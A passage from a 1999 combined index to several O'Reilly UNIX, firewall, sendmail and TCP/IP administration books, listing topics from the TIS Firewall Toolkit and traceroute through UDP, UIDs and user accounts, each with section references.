Practical UNIX & Internet Security, 14.5.3.3. Privilege testing
-l option : Practical UNIX & Internet Security, 14.5.3.1. Originate testing
TIS Internet Firewall Toolkit
Practical UNIX & Internet Security, E.4.12. TIS Internet Firewall Toolkit
Building Internet Firewalls, B.1.1. TIS Internet
authentication server : Building Internet Firewalls, 10.4.2. TIS FWTK
FTP daemon : Building Internet Firewalls, 8.2.1.5. Using the TIS FWTK
FTP proxy server : Building Internet Firewalls, 8.2.1.2. Proxying characteristics of
ftp-gw-proxy server : Building Internet Firewalls, 9.1.1.2. FTP
HTTP proxy server
Building Internet Firewalls, 8.6.2. Proxying Characteristics of
Building Internet Firewalls, 9.1.1.5. HTTP
for proxying : Building Internet Firewalls, 7.7. Using the TIS
S/Key password program : Building Internet Firewalls, 10.3.1. One-Time Passwords
smap package : Building Internet Firewalls, 8.1.1.3. Improving SMTP
SNK-004 card : Building Internet Firewalls, 10.3.3. Challenge-Response Schemes
TMOUT variable : Practical UNIX & Internet Security, 12.3.5.1. Built-in shell autologout
/tmp directory
Practical UNIX & Internet Security, 14.5.3.3. Privilege testing
Practical UNIX & Internet Security, 25.2.4. /tmp Problems
tmpfile function : Practical UNIX & Internet Security, 23.2. Tips on Avoiding Security-related Bugs
"To:" header line : sendmail, 35.10. Alphabetized Reference
to= equate (syslog output) : sendmail, 26.1.3.12. to= show final recipient
TOBUFSIZE macro : sendmail, 18.8. Alphabetized Reference
token cards : Practical UNIX & Internet Security, 8.7.2. Token Cards
token ring
Practical UNIX & Internet Security, 16.1. Networking
TCP/IP Network Administration, 4.2.2. Defining the Subnet Mask
interface : TCP/IP Network Administration, 5.2. Linux Kernel Configuration
network : TCP/IP Network Administration, 1.5.1.2. Routing datagrams
tokenization
sendmail, 8.5. The Workspace
sendmail, 12.1.3. Class Macros in the LHS
sendmail, 28.2. Tokenizing Rules
of header field contents : sendmail, 35.3. Header Field Contents
quotation marks and : sendmail, 13.2.8. The Unquoted Space Replacement Character
workspace buffer
sendmail, 8.5. The Workspace
sendmail, 28.3. The Workspace
tokens : TCP/IP Network Administration, 10.6.1. Pattern Matching
tokens, separation operators for
sendmail, 31.10. Alphabetized Reference
sendmail, 34.8. Alphabetized Reference
toll fraud : Practical UNIX & Internet Security, 14.4.1. One-Way Phone Lines
"too many named rulesets" error : sendmail, 29.1.2. Rule-Set Names
tools and supplies
Building Internet Firewalls, 13.5.5. Keeping a Cache of Tools and Supplies
Practical UNIX & Internet Security, 1.3. History of UNIX
TCP/IP Network Administration, 1.7. Application Layer
(see also diagnostic tools)
to find weaknesses : Practical UNIX & Internet Security, 11.1.1. Security Tools
hand : TCP/IP Network Administration, 11.2. Diagnostic Tools
quality of
Practical UNIX & Internet Security, 1.4.2. Software Quality
Practical UNIX & Internet Security, 1.4.3. Add-On Functionality Breeds Problems
top-level domains
sendmail, 8.1. A Fictional Network
TCP/IP Network Administration, 3.3.1. The Domain Hierarchy
topology statements (in dhcpd) : TCP/IP Network Administration, D.3.1. Topology Statements
Totient Function : Practical UNIX & Internet Security, 6.4.6.1. How RSA works
trace
file : TCP/IP Network Administration, 7.7.2. Testing the Configuration
headers : sendmail, 35.6.5. Date and Trace Headers
options : TCP/IP Network Administration, B.4. Trace Statements
statements (in gated)
TCP/IP Network Administration, B.4. Trace Statements
TCP/IP Network Administration, B.8.6. The egp Statement
traceroute utility
Building Internet Firewalls, 2.10. Network Management Services
Building Internet Firewalls, 5.6. Selecting Services Provided by the
TCP/IP Network Administration, 11.2. Diagnostic Tools
TCP/IP Network Administration, 11.3. Testing Basic Connectivity
TCP/IP Network Administration, 11.5. Checking Routing
TCP/IP Network Administration, 11.5.2. Tracing Routes
configuring : Building Internet Firewalls, 8.12.4. traceroute
tracing connections
Practical UNIX & Internet Security, 24.2.4. Tracing a Connection
Practical UNIX & Internet Security, 24.2.4.2. How to contact the system administrator of a computer
tracking number : TCP/IP Network Administration, 4.4.1. Obtaining a Domain Name
trademarks : Practical UNIX & Internet Security, 26.4.3. Trademark Violations
traffic : (see performance)
trailer encapsulation
TCP/IP Network Administration, 6.1.2. Checking the Interface with ifconfig
TCP/IP Network Administration, 6.1.5.2. ARP and trailers
trailing dot : sendmail, 15.3. MX Records
stripping
sendmail, 17.4. Rule Set 4
sendmail, 29.5.1. Stripping Trailing Dots
training
Practical UNIX & Internet Security, 13.2.1. Initial Training
TCP/IP Network Administration, 11.1.1. Troubleshooting Hints
TCP/IP Network Administration, 12.2.2. Choosing a Password
transfer zones : Practical UNIX & Internet Security, 16.2.6.1. DNS under UNIX
transferring files
Building Internet Firewalls, 2.2. File Transfer
Practical UNIX & Internet Security, 15.1.1. uucp Command
(see files, transferring)
transformational operators : (see $ operators)
Transmission Control Protocol (TCP)
Practical UNIX & Internet Security, 16.2.4.2. TCP
TCP/IP Network Administration, 1.6. Transport Layer
TCP/IP Network Administration, 1.6.2. Transmission Control Protocol
TCP/IP Network Administration, 1.7. Application Layer
(see also tcpd)
segment header : TCP/IP Network Administration, F.2. TCP Segment Header
transmission protocol : sendmail, 26.1.3.8. proto= the protocol used in transmission
transmission window size : TCP/IP Network Administration, 5.2. Linux Kernel Configuration
Transmit Data (TD) : Practical UNIX & Internet Security, 14.3. The RS-232 Serial Protocol
transmitters, radio : Practical UNIX & Internet Security, 12.2.1.8. Electrical noise
transparency : Building Internet Firewalls, 4.1.2. Proxy Services
of client changes for proxying : Building Internet Firewalls, 7.2.1. Using Custom Client Software for
of packet filtering : Building Internet Firewalls, 6.1.1.2. Packet filtering doesn't require user knowledge or
Transport Layer
TCP/IP Network Administration, 1.2. A Data Communications Model
TCP/IP Network Administration, 1.6. Transport Layer
passing datagrams : TCP/IP Network Administration, 1.5.1.4. Passing datagrams to the transport layer
transposition (in encryption) : Practical UNIX & Internet Security, 6.1.2. Cryptography and Digital Computers
trap doors : (see back doors)
trashing : Practical UNIX & Internet Security, 12.3.3. Other Media
tree structures : Practical UNIX & Internet Security, 25.2.2.8. Tree-structure attacks
trees, DNS : Building Internet Firewalls, 8.10.3. DNS Data
triggered updates : TCP/IP Network Administration, 7.4.1.1. Running RIP with routed
trimlog
Building Internet Firewalls, B.6.5. trimlog
Practical UNIX & Internet Security, E.4.13. trimlog
Triple DES
Practical UNIX & Internet Security, 6.4.5. Improving the Security of DES
Practical UNIX & Internet Security, 6.4.5.2. Triple DES
triple, RHS : sendmail, 9.2. The RHS Triple
Tripwire package
Building Internet Firewalls, 5.8.5.1. Auditing packages
Building Internet Firewalls, B.2.3. Tripwire
Practical UNIX & Internet Security, 9.2.4. Tripwire
Practical UNIX & Internet Security, 9.2.4.2. Running Tripwire
Practical UNIX & Internet Security, 19.5.5. NIS+ Limitations
Practical UNIX & Internet Security, E.4.14. Tripwire
TCP/IP Network Administration, 12.4.2.1. Checking files
Trivial File Transport Protocol : (see TFTP)
Trojan horses
Practical UNIX & Internet Security, 4.3.5. Using su with Caution
Practical UNIX & Internet Security, 11.1.4. Trojan Horses
Practical UNIX & Internet Security, 11.5. Protecting Yourself
Practical UNIX & Internet Security, 27.2.2. Viruses on the Distribution Disk
Kerberos and : Practical UNIX & Internet Security, 19.6.5. Kerberos Limitations
X clients : Practical UNIX & Internet Security, 17.3.21.2. X security
trouble, looking for : TCP/IP Network Administration, 12.4.2. Looking for Trouble
troubleshooting
aliases : sendmail, 24.7. Pitfalls
basic connectivity : TCP/IP Network Administration, 11.3. Testing Basic Connectivity
class macros : sendmail, 32.4. Pitfalls
command line : sendmail, 36.6. Pitfalls
delivery agent execution : sendmail, 30.7. Pitfalls
delivery to programs : sendmail, 24.2.3.1. Possible failures
disasters : sendmail, 21.5. Prepare for Disaster
DNS : sendmail, 21.6. Pitfalls
handling down sites : sendmail, 23.7.1. Handling a Down Site
headers : sendmail, 35.9. Pitfalls
hints : TCP/IP Network Administration, 11.1.1. Troubleshooting Hints
buying time : TCP/IP Network Administration, 11.4.2. Troubleshooting with the arp Command
involve users : TCP/IP Network Administration, 11.4.2.1. ARP problem case study
mailing lists : sendmail, 25.5. Problems with Mailing Lists
name service : TCP/IP Network Administration, 11.6. Checking Name Service
network access
TCP/IP Network Administration, 1.7. Application Layer
TCP/IP Network Administration, 11.4. Troubleshooting Network Access
(see also networks and networking)
not overlooking the obvious : TCP/IP Network Administration, 11.1.1. Troubleshooting Hints
preventing problems : TCP/IP Network Administration, 11.9. Simple Network Management Protocol
protocol problems : TCP/IP Network Administration, 11.7. Analyzing Protocol Problems
queue : sendmail, 23.8. Pitfalls
routing : TCP/IP Network Administration, 11.5. Checking Routing
sendmail options for : sendmail, 34.6.6. Problem Solving
sendmail.cf file : sendmail, 27.6. Pitfalls
serial connections : TCP/IP Network Administration, 6.4.4. Troubleshooting Serial Connections
truncate system call : Practical UNIX & Internet Security, 5.1.7. File Permissions in Detail
trust
Practical UNIX & Internet Security, 1.1. What Is Computer Security?
Practical UNIX & Internet Security, 2.1.1. Trust
Practical UNIX & Internet Security, 8.5.3.2. Trusted computing base
Practical UNIX & Internet Security, 17.1.1. The /etc/services File
Practical UNIX & Internet Security, 27. Who Do You Trust?
Practical UNIX & Internet Security, 27.4. What All This Means
TCP/IP Network Administration, 12. Network Security
of log files : Practical UNIX & Internet Security, 10.8. Managing Log Files
TRUST_POPEN macro : sendmail, 18.8. Alphabetized Reference
trusted hosts
Practical UNIX & Internet Security, 17.3.18.1. Trusted hosts and users
Practical UNIX & Internet Security, 17.3.18.4. The ~/.rhosts file
TCP/IP Network Administration, 12.2.5. Secure the r Commands
NFS and : Practical UNIX & Internet Security, 17.3.18.2. The problem with trusted hosts
security : TCP/IP Network Administration, 9.1.5. NFS Authentication Server
trusted path : Practical UNIX & Internet Security, 8.5.3.1. Trusted path
trusted ports : Practical UNIX & Internet Security, 1.4.3. Add-On Functionality Breeds Problems
trusted users
Practical UNIX & Internet Security, 17.3.4.1. sendmail and security
Practical UNIX & Internet Security, 17.3.18.1. Trusted hosts and users
sendmail, 5.3.10. Trusted Users
sendmail, 14.6. Trusted User
sendmail, 19.6. Alphabetized m4 Macros
sendmail, 22.8.1. Trusted Users
sendmail, 32.5. Alphabetized Reference
(see also T configuration command)
TRW Network Area and System Administrators : Practical UNIX & Internet Security, F.3.4.36. TRW Network Area and System Administrators
/try command
sendmail, 38.5.6. Try a Delivery Agent with /try
TCP/IP Network Administration, 10.8.1. Testing Rewrite Rules
/tryflags command
sendmail, 38.5.4. Select Whom to /parse or /try with /tryflags
TCP/IP Network Administration, 10.8.1. Testing Rewrite Rules
TryNullMXList (w) option
sendmail, 21.3.7. Ambiguous MX Records
sendmail, 34.8. Alphabetized Reference
TTL (time to live)
sendmail, 15.3. MX Records
sendmail, 21.5.2. Offsite Servers
TCP/IP Network Administration, 8.3.2. Standard Resource Records
TCP/IP Network Administration, 11.5.2. Tracing Routes
TCP/IP Network Administration, B.8.5. The bgp Statement
TCP/IP Network Administration, C.3.1. Standard Resource Records
tty device files
Practical UNIX & Internet Security, 7.1.2. What Should You Back Up?
sendmail, 18.8. Alphabetized Reference
TCP/IP Network Administration, 6.3.5. PPP Server Configuration
TCP/IP Network Administration, 6.4.4. Troubleshooting Serial Connections
ttymon program : Practical UNIX & Internet Security, C.5.2. Logging In
TTYNAME macro : sendmail, 18.8. Alphabetized Reference
ttys file
Practical UNIX & Internet Security, 8.5.1. Secure Terminals
Practical UNIX & Internet Security, 14.5.1. Hooking Up a Modem to Your Computer
ttytab file : Practical UNIX & Internet Security, C.5.1. Process #1: /etc/init
ttywatch program : Practical UNIX & Internet Security, 24.2.3. Monitoring the Intruder
tunefs command : Practical UNIX & Internet Security, 25.2.2.6. Reserved space
tuning
delivery agent : sendmail, 30.3.1. Tuning Without an Appropriate Keyword
DNS lookups : sendmail, 34.8. Alphabetized Reference
sendmail
sendmail, 18.2. Vendor Versus Compiling
sendmail, 18.3.3. What to Tune
sendmail, 18.4. Tuning Makefile
syslog.conf : sendmail, 26.1.2. Tuning syslog.conf
tunneling
Practical UNIX & Internet Security, 16.4.1. IPX
TCP/IP Network Administration, 5.3.1.2. Pseudo-device
tunnels, multicast : Building Internet Firewalls, 8.9.3. The Multicast Backbone (MBONE)
twisted pair : Practical UNIX & Internet Security, 16.1. Networking
TXT records
Building Internet Firewalls, 8.10.4.3. Revealing too much information to
TCP/IP Network Administration, C.3.1.9. Text record
types
delivery agent
sendmail, 6.3. The local Delivery Agent
sendmail, 6.4. Add the Missing Parts to Mhub
message body : sendmail, 23.9. The qf File Internals
nslookup : sendmail, 21.4. How to Use nslookup
queue files : sendmail, 23.2. Parts of a Queued Message
TZ variable : Practical UNIX & Internet Security, 23.2. Tips on Avoiding Security-related Bugs

Search | Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Copyright © 1999 O'Reilly & Associates, Inc. All Rights Reserved.


Index

Search | Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Index: U

u flag : sendmail, 30.8. Alphabetized F= Flags
U flag : sendmail, 30.8. Alphabetized F= Flags
U line (host status file) : sendmail, B.1. Status file lines
$u macro
sendmail, 6.3. The local Delivery Agent
sendmail, 7.3. Predefined Macros
sendmail, 31.10. Alphabetized Reference
$U macro : sendmail, 31.10. Alphabetized Reference
u option : (see DefaultUser (u,g) option)
U option : (see UserDatabaseSpec (U) option)
-U switch (sendmail) : sendmail, 36.7. Alphabetized Reference
U= equate
sendmail, 30.3.1. Tuning Without an Appropriate Keyword
sendmail, 30.4. The Equates
sendmail, 30.8. Alphabetized F= Flags
UDB_DEFAULT_SPEC macro : sendmail, 18.8. Alphabetized Reference
UDP (User Datagram Protocol)
Building Internet Firewalls, 6.3.3.2. UDP
Building Internet Firewalls, C.6.1. User Datagram Protocol
Practical UNIX & Internet Security, 16.2.4.3. UDP
Practical UNIX & Internet Security, 17.1.3. The /etc/inetd Program
TCP/IP Network Administration, 1.2. A Data Communications Model
TCP/IP Network Administration, 1.3. TCP/IP Protocol Architecture
TCP/IP Network Administration, 1.6. Transport Layer
(see also network services)
checksum errors in : TCP/IP Network Administration, 5.3.1.1. Options
packet relayer
Building Internet Firewalls, 7.6. Using SOCKS for
Building Internet Firewalls, B.4.3. UDP Packet Relayer
Practical UNIX & Internet Security, E.4.15. UDP Packet Relayer
ufsdump : (see dump/restore program)
UIDs (user identifiers)
Practical UNIX & Internet Security, 4.1. Users and Groups
Practical UNIX & Internet Security, 4.1.2. Multiple Accounts with the Same UID
TCP/IP Network Administration, 5.4. The Internet Daemon
assume specified : sendmail, 30.8. Alphabetized F= Flags
real versus effective
Practical UNIX & Internet Security, 4.3.1. Real and Effective UIDs
Practical UNIX & Internet Security, C.1.3.2. Process real and effective UID
RPC requests and : Practical UNIX & Internet Security, 19.2.2.2. AUTH_UNIX
running agent as : sendmail, 30.4. The Equates
su command and : Practical UNIX & Internet Security, 10.1.2.1. su commandutmp and wtmp files andsu
of web servers : Practical UNIX & Internet Security, 18.2.1. The Server's UID
zero : (see root account/user; superusers)
UK Defense Research Agency : Practical UNIX & Internet Security, F.3.4.37. UK Defense Research Agency
ulimit command : Practical UNIX & Internet Security, 25.2.5. Soft Process Limits: Preventing Accidental Denial
Ultrix : Practical UNIX & Internet Security, 1.3. History of UNIX
trusted path : Practical UNIX & Internet Security, 8.5.3.1. Trusted path
UUCP : Practical UNIX & Internet Security, 15.4.1.3. Format of USERFILE entry without system name
umask
Practical UNIX & Internet Security, 5.3. The umask
Practical UNIX & Internet Security, 5.3.2. Common umask Values
Practical UNIX & Internet Security, 8.4.3. Finding Dormant Accounts
umount command : TCP/IP Network Administration, 9.1.3.1. The mount command
uname system call : sendmail, 18.8. Alphabetized Reference
unattended terminals
Practical UNIX & Internet Security, 12.3.5. Unattended Terminals
Practical UNIX & Internet Security, 12.3.5.2. X screen savers
unauthenticated users : TCP/IP Network Administration, 9.1.5. NFS Authentication Server
unavailable resource error : sendmail, 36.5.9. EX_UNAVAILABLE A Resource
"Unbalanced" warning : sendmail, 28.1.2. Rules Are Treated Like Addresses
undeliverable addresses in aliases : sendmail, 4.1.4. Verify Mode (-bv)
undivert command (m4) : sendmail, 19.1.4. m4 diversions
unexpected, dealing with the : TCP/IP Network Administration, 11. Troubleshooting TCP/IP
unicasting
Building Internet Firewalls, 8.9.3. The Multicast Backbone (MBONE)
TCP/IP Network Administration, 2.2.2.1. Final notes on IP addresses
(see also addresses)
unidirectional connections : Building Internet Firewalls, 7.4.2. Unidirectional Versus Multidirectional
uniformity : sendmail, 18.2. Vendor Versus Compiling
uninterruptable power supply (UPS)
Practical UNIX & Internet Security, 2.2. Risk Assessment
Practical UNIX & Internet Security, 12.2.1.1. Fire
United States Department of Energy : Practical UNIX & Internet Security, F.3.4.12. France
United States Department of the Navy : Practical UNIX & Internet Security, F.3.4.44. U.S. Department of the Navy
United States law : (see laws)
United States Naval Research Laboratory (NRL) : TCP/IP Network Administration, 12.2.4. OPIE
United States Secret Service
Practical UNIX & Internet Security, 26.2.2. Federal Jurisdiction
Practical UNIX & Internet Security, F.3.3. U.S. Secret Service
Unisys : Practical UNIX & Internet Security, F.3.4.39. Unisys
universal participation : Building Internet Firewalls, 3.6. Universal Participation
universal resource locators (URLs) : TCP/IP Network Administration, 13.1. The World Wide Web
universes : Practical UNIX & Internet Security, 5.9.1. Dual Universes
UNIX
Building Internet Firewalls, 5.3.1. What Operating System?
Practical UNIX & Internet Security, 1. Introduction
add-on functionality of : Practical UNIX & Internet Security, 1.4.3. Add-On Functionality Breeds Problems
checksum programs
Building Internet Firewalls, 5.8.5.3. About checksums for auditing
(see also checksums)
computers : TCP/IP Network Administration, Audience
conventional passwords : Practical UNIX & Internet Security, 3.2.6. Conventional UNIX Passwords
DAC (Discretionary Access Controls) : Practical UNIX & Internet Security, 4.1.3. Groups and Group Identifiers (GIDs)
DNS under : Practical UNIX & Internet Security, 16.2.6.1. DNS under UNIX
encryption programs for
Practical UNIX & Internet Security, 6.6. Encryption Programs Available for UNIX
Practical UNIX & Internet Security, 6.6.3.6. PGP detached signatures
error numbers : sendmail, B.1. Status file lines
exit status : sendmail, B.1. Status file lines
filesystem
Practical UNIX & Internet Security, 5. The UNIX Filesystem
Practical UNIX & Internet Security, 5.10. Summary
history of : Practical UNIX & Internet Security, 1.3. History of UNIX
kernels : TCP/IP Network Administration, 4.2.2. Defining the Subnet Mask
mailbox file : sendmail, 3.2.1. Delivery to a Mailbox
modems and
Practical UNIX & Internet Security, 14.5. Modems and UNIX
Practical UNIX & Internet Security, 14.5.3.3. Privilege testing
networking and : Practical UNIX & Internet Security, 16.1.2. Networking and UNIX
primary network services
Practical UNIX & Internet Security, 17.3. Primary UNIX Network Services
Practical UNIX & Internet Security, 17.3.23. Other TCP Ports: MUDs and Internet Relay Chat (IRC)
process scheduler
Practical UNIX & Internet Security, C.1.3.3. Process priority and niceness
(see also processes)
programming references : Practical UNIX & Internet Security, D.1.11. UNIX Programming and System Administration
published resources for : Practical UNIX & Internet Security, D.1. UNIX Security References
security and
Building Internet Firewalls, A.3.4. BugTraq
Practical UNIX & Internet Security, 1.4. Security and UNIX
Practical UNIX & Internet Security, 1.4.3. Add-On Functionality Breeds Problems
services : TCP/IP Network Administration, 2.7.2. Port Numbers
signals : Practical UNIX & Internet Security, C.3. Signals
starting up
Practical UNIX & Internet Security, C.5. Starting Up UNIX and Logging In
Practical UNIX & Internet Security, C.5.3. Running the User's Shell
systems
TCP/IP Network Administration, Foreword from the First Edition
TCP/IP Network Administration, 3.3.4. BIND, resolver, and named
TCP/IP Network Administration, 7.4.1. Routing Information Protocol
TCP/IP Network Administration, 7.5.3. Choosing a Routing Protocol
installation scripts for : TCP/IP Network Administration, 6.1.1. Determining the Interface Name
vendor, for security information : TCP/IP Network Administration, 12.1.2.2. Use mailing lists to distribute information
versions of
Practical UNIX & Internet Security, 1.3. History of UNIX
TCP/IP Network Administration, 3.2. The Host Table
TCP/IP Network Administration, 6.1. The ifconfig Command
viruses : (see viruses)
web server on : Practical UNIX & Internet Security, 18.2. Running a Secure Server
window system : Building Internet Firewalls, 2.13. Window Systems
UNIX commands
ability to use : TCP/IP Network Administration, 9.1. The Network File System
r-commands
TCP/IP Network Administration, 9.6. Managing Distributed Servers
TCP/IP Network Administration, 12.2.5. Secure the r Commands
disabling : TCP/IP Network Administration, 12.2.6. Secure Shell
tar : TCP/IP Network Administration, 9.7.1. POP Server
untar : TCP/IP Network Administration, 9.7.2. IMAP Server
UnixFromLine option
sendmail, 31.10. Alphabetized Reference
sendmail, 34.8. Alphabetized Reference
"unknown control line" message : sendmail, 5.1. Overview
unknown host error message
TCP/IP Network Administration, 11.3. Testing Basic Connectivity
TCP/IP Network Administration, 11.6. Checking Name Service
"Unknown host status version" message : sendmail, B.1. Status file lines
unknown local users : sendmail, 31.10. Alphabetized Reference
"unknown mailer" error : sendmail, 29.6. Rule Set 0
unlinked files : Practical UNIX & Internet Security, 25.2.2.7. Hidden space
unowned files : Practical UNIX & Internet Security, 24.4.1.8. Unowned files
unpacking source code
sendmail, 2.1. Get the Source
sendmail, 18.3.1. What's Where in the Source
unplugging connections : Practical UNIX & Internet Security, 24.2.5. Getting Rid of the Intruder
unpredictability of randomness : Practical UNIX & Internet Security, 23.6. Tips on Generating Random Numbers
unqualified
addresses : sendmail, 16.5. Qualify All Addresses?
names
sendmail, 19.6. Alphabetized m4 Macros
sendmail, 31.10. Alphabetized Reference
unquoted whitespace : sendmail, 13.2.8. The Unquoted Space Replacement Character
unreachable destinations, detecting : TCP/IP Network Administration, 1.5.2. Internet Control Message Protocol
Unreachable Port message : TCP/IP Network Administration, 11.5.2. Tracing Routes
UnsafeGroupWrites option : sendmail, 34.8. Alphabetized Reference
unused accounts
removing from system : TCP/IP Network Administration, 12.2.2. Choosing a Password
security problems with : TCP/IP Network Administration, 12.2.1. The Shadow Password File
UPDATE messages : TCP/IP Network Administration, 7.5.2. Border Gateway Protocol
updating : TCP/IP Network Administration, 7.5.1. Exterior Gateway Protocol
updating aliases file : sendmail, 4.1.3. Rebuild Aliases Mode (-bi)
upgrades, logging : Practical UNIX & Internet Security, 10.7.2.1. Exception and activity reports
upgrading sendmail : sendmail, 18.2. Vendor Versus Compiling
uploading programs on HTTP server : Building Internet Firewalls, 8.6.3.1. What can a malicious client do to
uploading stored information : Practical UNIX & Internet Security, 12.3.4. Protecting Local Storage
UPS (uninterruptable power supply)
Practical UNIX & Internet Security, 2.2. Risk Assessment
Practical UNIX & Internet Security, 12.2.1.1. Fire
uptime command : Practical UNIX & Internet Security, 8.1.3. Accounts That Run a Single Command
urandom device : Practical UNIX & Internet Security, 23.7.4. Other random number generators
URLs (universal resource locators)
Building Internet Firewalls, 8.6. World Wide Web (WWW) and HTTP
TCP/IP Network Administration, 13.1. The World Wide Web
U.S. Department of Energy : Practical UNIX & Internet Security, F.3.4.12. France
U.S. Department of the Navy : Practical UNIX & Internet Security, F.3.4.44. U.S. Department of the Navy
U.S. law : (see laws)
U.S. Naval Research Laboratory (NRL) : TCP/IP Network Administration, 12.2.4. OPIE
U.S. Secret Service
Practical UNIX & Internet Security, 26.2.2. Federal Jurisdiction
Practical UNIX & Internet Security, F.3.3. U.S. Secret Service
usage profile : Building Internet Firewalls, 5.9.1. Learn What the Normal Usage Profile Is
use_ct_file feature : sendmail, 19.6. Alphabetized m4 Macros
use_cw_file feature : sendmail, 19.6. Alphabetized m4 Macros
UseErrorsTo (l) option : sendmail, 34.8. Alphabetized Reference
Usenet news
Practical UNIX & Internet Security, 17.3.13. Network News Transport Protocol (NNTP) (TCP Port
Practical UNIX & Internet Security, E.2. Usenet Groups
TCP/IP Network Administration, 13.5.1. Newsgroups
TCP/IP Network Administration, E.3.5. MAILER
(see also NNTP)
cleanup scripts : Practical UNIX & Internet Security, 11.5.3. Abusing Automatic Mechanisms
encryption for : (see ROT13 algorithm)
newsgroups
Building Internet Firewalls, 2.4. Usenet News
TCP/IP Network Administration, 13.5.1. Newsgroups
defamation/harassment via : Practical UNIX & Internet Security, 26.4.7. Harassment, Threatening Communication, and Defamation
keeping current : Building Internet Firewalls, 12.3.1.2. Newsgroups
for security information : TCP/IP Network Administration, 12.1.2.2. Use mailing lists to distribute information
security resources via : Building Internet Firewalls, A.4. Newsgroups
using
TCP/IP Network Administration, 4.1.1. Network Contacts
TCP/IP Network Administration, 13.5.1. Newsgroups
posting breakins to : Practical UNIX & Internet Security, 24.6. Resuming Operation
reporting security holes on : Practical UNIX & Internet Security, 2.5.1. Going Public
USENIX Association : Building Internet Firewalls, A.6.1. USENIX Association
user accounts on bastion host : Building Internet Firewalls, 5.7. Don't Allow User Accounts on the
user authentication
TCP/IP Network Administration, 9.3.2. NIS+
TCP/IP Network Administration, 12.2. User Authentication
User Database
sendmail, 18.8. Alphabetized Reference
sendmail, 30.8. Alphabetized F= Flags
sendmail, 33.5. The User Database
sendmail, 33.8. Alphabetized Reference
sendmail, 34.8. Alphabetized Reference
rewrite : sendmail, 30.8. Alphabetized F= Flags
user database class : sendmail, 33.8. Alphabetized Reference
User Datagram Protocol (UDP)
Building Internet Firewalls, 6.3.3.2. UDP
Building Internet Firewalls, C.6.1. User Datagram Protocol
Practical UNIX & Internet Security, 16.2.4.3. UDP
Practical UNIX & Internet Security, 17.1.3. The /etc/inetd Program
TCP/IP Network Administration, 1.2. A Data Communications Model
TCP/IP Network Administration, 1.3. TCP/IP Protocol Architecture
TCP/IP Network Administration, 1.6. Transport Layer
(see also network services)
checksum errors in : TCP/IP Network Administration, 5.3.1.1. Options
packet relayer
Building Internet Firewalls, 7.6. Using SOCKS for
Building Internet Firewalls, B.4.3. UDP Packet Relayer
Practical UNIX & Internet Security, E.4.15. UDP Packet Relayer
user IDs : (see UIDs)
"User unknown" message : sendmail, 4.2. Verbose (-v)
UserDatabaseSpec (U) option
sendmail, 18.8. Alphabetized Reference
sendmail, 34.8. Alphabetized Reference
userdb database class : sendmail, 33.8. Alphabetized Reference
USERDB macro : sendmail, 18.8. Alphabetized Reference
USERFILE file (UUCP)
Practical UNIX & Internet Security, 15.4.1. USERFILE: Providing Remote File Access
Practical UNIX & Internet Security, 15.4.2.1. Some bad examples
usermod command
Practical UNIX & Internet Security, 8.3. Restricting Logins
Practical UNIX & Internet Security, 8.4.3. Finding Dormant Accounts
usernames : Practical UNIX & Internet Security, 3.1. Usernames
aliases for : Practical UNIX & Internet Security, 8.8.9. Account Names Revisited: Using Aliases for Increased
capitalization : sendmail, 30.8. Alphabetized F= Flags
doubling as passwords (Joes) : Practical UNIX & Internet Security, 3.6.2. Smoking Joes
last command and : Practical UNIX & Internet Security, 10.1.3. last Program
as passwords : Practical UNIX & Internet Security, 8.8.3.1. Joetest: a simple password cracker
recipient's : (see $u macro)
special
Practical UNIX & Internet Security, 4.2. Special Usernames
Practical UNIX & Internet Security, 4.2.3. Impact of the /etc/passwd and /etc/group
using someone else's
Practical UNIX & Internet Security, 4.3. su: Changing Who You Claim to Be
Practical UNIX & Internet Security, 4.3.8. Other Uses of su
users
Practical UNIX & Internet Security, 4. Users, Groups, and the Superuser
Practical UNIX & Internet Security, 4.1. Users and Groups
Practical UNIX & Internet Security, 4.1.2. Multiple Accounts with the Same UID
(see also groups; su command)
$: operator and
sendmail, 9.2.3. The User ($:)
sendmail, 9.3. Testing Rule Set 0
sendmail, 29.6.1. Further Processing: $:user
sendmail, 30.5.3. The $: Part
sendmail, 33.4.1. Specify a Default with $:
alias delivery to : sendmail, 24.2.1. Delivery to Users
assigning passwords to : Practical UNIX & Internet Security, 8.8.1. Assigning Passwords to Users
auditing who is logged in
Practical UNIX & Internet Security, 10.1.2. utmp and wtmp Files
Practical UNIX & Internet Security, 10.1.2.1. su commandutmp and wtmp files andsu
authentication for Web : Practical UNIX & Internet Security, 18.3.3. Setting Up Web Users and Passwords
checklist for : Practical UNIX & Internet Security, A.1.1.2. Chapter 3: Users and Passwords
dormant accounts and
Practical UNIX & Internet Security, 8.4. Managing Dormant Accounts
Practical UNIX & Internet Security, 8.4.3. Finding Dormant Accounts
errors by : Practical UNIX & Internet Security, 7.1.1.1. A taxonomy of computer failures
.forward file : sendmail, 22.5.3. Permissions for ~/.forward Files
groups : sendmail, 18.8. Alphabetized Reference
identities of : (see also UIDs)
default
sendmail, 13.2.5. The Default User Identities
sendmail, 22.8.3.1. The DefaultUser option
sendmail, 34.8. Alphabetized Reference
proving : Practical UNIX & Internet Security, 19.3.1.1. Proving your identity
recognizing as intruders
Practical UNIX & Internet Security, 24.2. Discovering an Intruder
Practical UNIX & Internet Security, 24.2.6. Anatomy of a Break-in
taking someone else's
Practical UNIX & Internet Security, 4.3. su: Changing Who You Claim to Be
Practical UNIX & Internet Security, 4.3.8. Other Uses of su
importing to NIS server
Practical UNIX & Internet Security, 19.4.1. Including or excluding specific accounts:
Practical UNIX & Internet Security, 19.4.4.2. Using netgroups to limit the importing of accounts
including oneself on mailing lists : sendmail, 34.8. Alphabetized Reference
letting in threats : Practical UNIX & Internet Security, 11.4. Entry
as LHS of alias : sendmail, 30.8. Alphabetized F= Flags
limited : Practical UNIX & Internet Security, 8.1.5.1. Limited users
local : sendmail, 31.10. Alphabetized Reference
accepting mail from only : sendmail, 20.2.1. Accept Mail Only From Our Domain
delivery to
sendmail, 3.2. Role in Local Delivery
sendmail, 19.6. Alphabetized m4 Macros
sendmail, 29.6.3. Delivering to Local Recipient
sendmail, 30.8. Alphabetized F= Flags
logging
Practical UNIX & Internet Security, 10.4. Per-User Trails in the Filesystem
Practical UNIX & Internet Security, 10.4.3. Network Setup
mailing list instructions for : sendmail, 25.5.4. Users Ignore list-request
marked with + : sendmail, 24.4.3. Plussed Users
